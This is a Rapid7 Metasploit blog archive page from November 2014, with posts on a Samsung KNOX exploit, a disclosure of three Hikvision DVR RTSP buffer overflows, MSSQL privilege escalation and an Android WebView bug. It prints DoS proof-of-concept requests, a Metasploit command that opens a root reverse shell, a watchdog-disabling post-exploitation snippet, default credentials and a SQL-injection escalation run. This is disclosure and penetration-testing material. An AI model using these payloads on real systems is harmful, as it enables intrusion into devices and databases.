Skip navigation
All Places > Metasploit > Blog > 2014 > November

Exploiting Security Software: Android Edition

It's hard not to sound gleeful when you've exploited security software. After all, this is software by and for Our People, people who are nominally In The Know about security. Security software is special, in that it's not merely supposed to be "secure," but is intended to enhance security for the user when installed and running. So, getting a working exploit together that targets this kind of software tends to feel more rewarding -- the security researcher has bested the security software developer at their own game, one in which the developer is perceived to be at least on better footing when it comes to securing software.


This week, we're taking a look at Samsung KNOX. According to the website, this software is intensely rad. It does something with fingerprints, has a bunch of lock symbols all over the place, and promises to protect you from bad guys.


Okay, I admit that I have only the vaguest idea of what it's supposed to do -- looks to me that it sandboxes your business data from the rest of your wild and wooly Android environment. Really, the only reason why I know anything at all about KNOX is due to the new Metasploit module that targets it, thanks to the original research by Andre Moulu and the implementation work by Joe Vennix and Joshua jduck Drake.


It's a pretty fun attack which ends up irritating your target into acquiescing to installing malware. Joe's also put together a video of the attack in action, documenting the inevitable frustration of hitting the looping "Later" button. The fact that the attacker can make it appear that a security control is nonfunctional is what eventually leads to a total compromise.


It's important to note that while this is an Android attack, it's limited just to higher-end Samsung devices that offer KNOX as part of their firmware. Given the apparent disconnects between Android the operating system, the handset manufacturers which implement it, and the carriers which add their own (often unremovable) additions, we can expect more of these handset-targeted attacks to come. This situation is compounded by the fact that Android 5.0 (Lollipop) promises some major shifts in the way the core OS is secured and patched, therefore promoting the downstream providers as the more reliably exploitable targets.


In other words, not only is the Android ecosystem itself fractured, we can expect the Android attacker ecosystem to follow suit.


New Modules

In addition to the KNOX exploit discussed above, we have one other exploit and three new auxiliary modules landed this week. Are your colleagues running Quake servers on their workstations? Time to find out, and more importantly, ask why they didn't invite you!


Exploit modules


Auxiliary and post modules

Rapid7 Labs has found multiple vulnerabilities in Hikvision DVR (Digital Video Recorder) devices such as the DS-7204 and other models in the same product series that allow a remote attacker to gain full control of the device. More specifically, three typical buffer overflow vulnerabilities were discovered in Hikvision's RTSP request handling code: CVE-2014-4878, CVE-2014-4879 and CVE-2014-4880. This blog post serves as disclosure of the technical details for those vulnerabilities. In addition, a remote code execution through a Metasploit exploit module has been published.


Vulnerability Summary


After starting Project Sonar in 2013, Rapid7 Labs started investigating several protocols, services and devices that are popular on the internet, in order to find and raise awareness about widespread misconfigurations and vulnerabilities. One category of these devices are so called "Digital Video Recorders" or sometimes "Network Video Recorders". Typically they are used to record surveillance footage of office buildings and surrounding areas or even private properties.


Sieving through our Sonar datasets, several vendors and families of these devices turned up, but the Hikvision models in particular are very popular and widespread across the public IPv4 address space with around 150,000 devices remotely accessible. Speculating about reasons for this popularity, one could argue that the iPhone app which can view the surveillance streams remotely, is very appealing to a lot of customers.

Now apart from the fact that these devices come with a default administrative account "admin" with password "12345", it also contains several quickly found vulnerabilities that ultimately lead to full remote compromise. During our initial analysis we found three different buffer overflow vulnerabilties in the RTSP request handler:

  • [CVE-2014-4878] To execute arbitrary code without authentication by exploiting a buffer overflow in the RTSP request body handling
  • [CVE-2014-4879] To execute arbitrary code without authentication by exploiting a buffer overflow in the RTSP request header handling
  • [CVE-2014-4880] To execute arbitrary code without authentication by exploiting a buffer overflow in the RTSP basic authentication handling


CVE-2014-4878 - Buffer Overflow in the RTSP Request Body Handling


The RTSP request handler uses a fixed size buffer of 2048 bytes for consuming the HTTP request body, which leads to a buffer overflow condition when sending a larger body. This most likely can be exploited for code execution, however we just present a Denial-of-Service proof here:

request =  "PLAY rtsp://%s/ RTSP/1.0\r\n" % HOST
request += "CSeq: 7\r\n"
request += "Authorization: Basic AAAAAAA\r\n"
request += "Content-length: 3200\r\n\r\n"
request += "A"*3200

CVE-2014-4879 - Buffer Overflow in the RTSP Request Header Handling


The RTSP request handler uses fixed size buffers when parsing the HTTP headers, which leads to a buffer overflow condition when sending a large header key. This most likely can be exploited for code execution, however we just present a Denial-of-Service proof here:

request =  "PLAY rtsp://%s/ RTSP/1.0\r\n" % HOST
request += "Authorization"
request += "A" * 1024
request += ": Basic AAAAAAA\r\n\r\n"

CVE-2014-4880 - Buffer Overflow in the RTSP Basic Authentication Handling


The Metasploit module written for the vulnerability sends a crafted RTSP request that triggers a buffer overflow condition when handling the "Basic Auth" header of a RTSP transaction. Due to this condition the request takes control of the remote instruction pointer and diverts execution to a series of ROP gadgets that pivot the stack to an area within the request packet itself in order to continue execution there. The code placed in this area in the case below is a standard reverse shellcode generated by Metasploit.

./msfcli exploit/linux/misc/hikvision_rtsp_bof payload=linux/armle/shell_reverse_tcp RHOST= LHOST= SHELL=/bin/sh SHELLARG=sh E
[*] Initializing modules...
payload => linux/armle/shell_reverse_tcp
SHELL => /bin/sh
[*] Started reverse handler on 
[*] Command shell session 1 opened ( -> at 2014-09-15 18:09:03 +0200

uid=0(root) gid=0(root)

No authentication is required to exploit this vulnerability and the Metasploit module successfully demonstrates gaining full control of the remote device.

Hikvision Reboot Watchdog - Post Exploitation


The firmware implements a watchdog functionality in form of a kernel module which can be contacted through the /dev/watchdog device node. The main binary opens this node and writes one byte to it every two seconds. If that behavior stops, the kernel module reboots the device. To stop this, one can issue an ioctl to disable the watchdog functionality after getting into the system, with the following ioctl:

int one = 1;
int fd = open("/dev/watchdog", 2);
int ret = ioctl(fd, 0x80045704, &one);

After running this on the device, either as part of the shellcode or as a post-exploitation stage, the watchdog does not reboot the device anymore.

Vendor Analysis, Solutions and Workarounds


The device under test was a Hikvision-DS-7204-HVI-SV digital video recorder device with firmware V2.2.10 build 131009 (Oct 2013). Other devices in the same model range are affected too, however, we do not have an exhaustive list of firmware versions and models.

Prior to this research, CVE-2013-4977 was discovered by Anibal Sacco and Federico Muttis from Core Exploit Writers Team, affecting multiple Hikvision devices. We confirmed the device under test for this advisory is still vulnerable to their attack. Given the presence of this prior vulnerability in the analyzed DVR device, we believe that it is likely that all products offering identical features are affected by these issues.

Hikvision provided no response to these issues after several attempts to contact them. In order to mitigate these exposures, until a patch is released, Hikvision DVR devices and similar products should not be exposed to internet without the usual additional protective measures, such as an authenticated proxy, VPN-only access, et cetera.


Sidenote on previous compromise of DVRs by Malware


Earlier this year researchers from SANS found a botnet consisting mostly of DVR devices and routers which does bitcoin mining as one of it's main purposes. This botnet used default credentials to compromise the devices and while we don't have any statistics on the number of infected devices, we assume that a relatively high percentage of devices actually still has the default password configured. However, more widespread exploitation possibilities not only on DVRs but also other embedded devices could lead to a larger botnet that subsequently poses a larger threat to the rest of the internet.


Vulnerability Disclosure Timeline and Researcher Credit


CVE-2014-4878, CVE-2014-4879 and CVE-2014-4880 were discovered and researched by Mark Schloesser from Rapid7 Labs


Disclosure Timeline:

Sep 15, 2014: Vendor contacted

Oct 06, 2014: Disclosure to CERT/CC

Oct 09, 2014: CVE identifiers assigned

Nov 19, 2014: Public disclosure

Nov 19, 2014: Metasploit module for CVE-2014-4880 published as PR 4235

Nov 19, 2014: Nexpose coverage for CVE-2014-4878, CVE-2014-4879 and CVE-2014-4880 added

Microsoft SQL Server Pen-Tester Pro Tip

This week, we've landed a trio of fun and interesting modules from long-time Metasploit community contributor Scott nullbind Sutherland which automate up a couple Pro Tips on what to do when you've scored a login on a Microsoft SQL Server during a penetration test. One of these is a method to escalate the privileges of a SQL Server user. Oftentimes, when a pen-tester discovers a valid credential for an MSSQL server, she will check if it's an administrator account; otherwise, it'll go on in the "other discovered credentials" section of the report, and that will be that.


Not so fast! Turns out, MSSQL provides some built-in privilege escalation functionality via the IMPERSONATION privilege, and Scott has automated out the procedure to a) check if the current user can impersonate any other user, and if so, b) pick out a user that already is sysadmin. Therefore, the enterprising penetration tester now has a quick and easy way escalate a ho-hum, boring user to an exciting and dangerous sysadmin-level user, opening up what might have been an overlooked post-exploitation path.


Now, this is not a bug or a backdoor or anything like that; it's normal functionality, but it might be missed by a standard (if naive) audit of user permissions. It's this kind of domain-specific knowledge of a particular application that makes contributor-sourced Metasploit modules so valuable -- Scott has effectively trained everyone who uses Metasploit to look for this potential exposure in Microsoft SQL Server merely by publishing a module that not only makes it easy to discover, but explains exactly what it's doing along the way.


As an added bonus, we also have a version of the module that does the same thing, but over SQL injection via a vulnerable web application. So, vector that might normally considered to be an internal-only exposure can be leveraged (in many cases) externally, over port 80. You can read along with the testing notes on Pull Request #4130, but the punchline is shown here:


msf auxiliary(mssql_escalate_execute_as_sqli) > set GET_PATH /testing2.asp?id=1+and+1=[SQLi];--

GET_PATH => /testing2.asp?id=1+and+1=[SQLi];--

msf auxiliary(mssql_escalate_execute_as_sqli) > run

[*] - Grabbing the database user name...

[+] - Database user: MyUser1

[*] - Checking if MyUser1 is already a sysadmin...

[*] - MyUser1 is NOT a sysadmin, let's try to escalate privileges.

[*] - Enumerating a list of users that can be impersonated...

[+] - 3 users can be impersonated:

[*] -   MyUser2

[*] -   MyUser3

[*] -   sa

[*] - Checking if any of them are sysadmins...

[*] -   MyUser2 is NOT a sysadmin

[*] -   MyUser3 is NOT a sysadmin

[+] -   sa is a sysadmin!

[*] - Attempting to impersonate sa...

[+] - Success! MyUser1 is now a sysadmin!

[*] Auxiliary module execution completed


Thanks Scott!


Templates for New Modules

If you're the sort to write your own modules for Metasploit, Rapid7 Labs contributor Jon Hart provided a pretty handy template for a basic UDP port scanner this week. There was some debate over where these sorts of template module should go. Technically, the module provided does actually function and Do A Thing, so it's not unreasonable to keep this (and others like it) the main modules tree. After all, for people new (and not so new) at writing Metasploit modules, the first inclination is typically to look around "nearby" for a module that kind of does something similar, and model the new functionality off of that with a copy-paste.


Of course, this leads to some cargo culted code along the way, but if we have a module that's usable and findable in a spot that's likely to be looked at, the chances of cargo culting tends to drop off. At least, that's the idea.


Some day soon, we hope to have a simplified module template generator available as a rake task, similar to the Corelan Team's module generator (which is great for spitting out "traditional" memory-manipulation exploits, by the way).


I'm kind of surprised that nobody has taken on this mini-project for Metasploit development already, given how much we use rake tasks today. If you're looking for a useful way to contribute, and you're more of a Ruby person than a buffer overflow poking person, this might be a fun project to take on. If you're interested in hacking on Metasploit like this, feel free to drop in on our Freenode IRC channel and/or subscribe to the Metasploit Hackers mailing list and give us a shout.


New Modules

Including those discussed above, we've landed three new exploits and seven new auxilary modules this week. Beware the return of Sandworm!


Exploit modules


Auxiliary and post modules

Click and Get Owned on Android... Again

This week, we landed another Metasploit exploit for another Android WebView vulnerability; this time, it's a problem that occurs when replacing the "data" attribute of a given HTML object with a JavaScript URL scheme. Like the last Android security disaster we made a lot of noise about, this affects the stock Android Browser (aka, the one that ships with the Android Open Source Platform, or AOSP) prior to version 4.4, or any Android app that incorporates pre-4.4 WebView. This bug is very similar in its impact to September's vulnerability as well. In fact, it was discovered, reported, and disclosed by the same independent researcher, Rafay Baloch, via his blog, and incorporated into Metasploit by Joe Vennix.


According to Google's monthly survey, Android versions prior to 4.4 are running on about 69% of the world's Android phones as of November of 2014. If we believe that Android accounts for 85% of the world's smartphones, and further posit there are about 1.84 billion phones in use by the end of 2014, that comes to a figure of about a billion (with a b) devices out in the world that are vulnerable to this bug, absent a patch.


As it happens, Google did patch this vulnerability for Android days after notification, which is great. Today, it's quite possible that handset manufacturers, carriers, aftermarket ROM developers, and even in-the-know consumers can now take Google's upstream patch and apply it to their own devices. Heck, they could write their own Android patches without Google's help. It's open source, after all.


The Metasploit Framework is open source, too, but luckily, we don't have a lot of intermediaries between Rapid7 and the end users. If (well, when) Metasploit ships with a security bug, you can bet that Rapid7 will write, validate and publish a fix, and then do what we can to make sure that Metasploit users have every chance to get at those fixes and apply them.


This direct-line relationship Rapid7 has with the devices running Metasploit doesn't appear to exist between Google and that vast majority of Android devices. Even though Google published a backport for this bug on September 30, it seems unlikely that the end user of the Android device will ever see that fix without buying a new phone first. For many, many people, buying a new phone just isn't practical; the people who are most likely affected by "legacy" Android bugs are the same people who couldn't afford a fancy "latest" Android handset in the first place.


In other words, it looks like a billion phones aren't going to see this patch any time soon, if ever. It's nice that the patch exists, but Google doesn't seem to have any practical way of getting it out to the world.


For a platform that's so integral to the human experience of the Internet, this seems kind of a huge problem, and I don't know how to fix it at this point, given the way the Android ecosystem works. Any suggestions?


New Modules

In addition to the Android hotness, we've landed four other new modules this week.


Exploit modules


Auxiliary and post modules

Filter Blog

By date: By tag: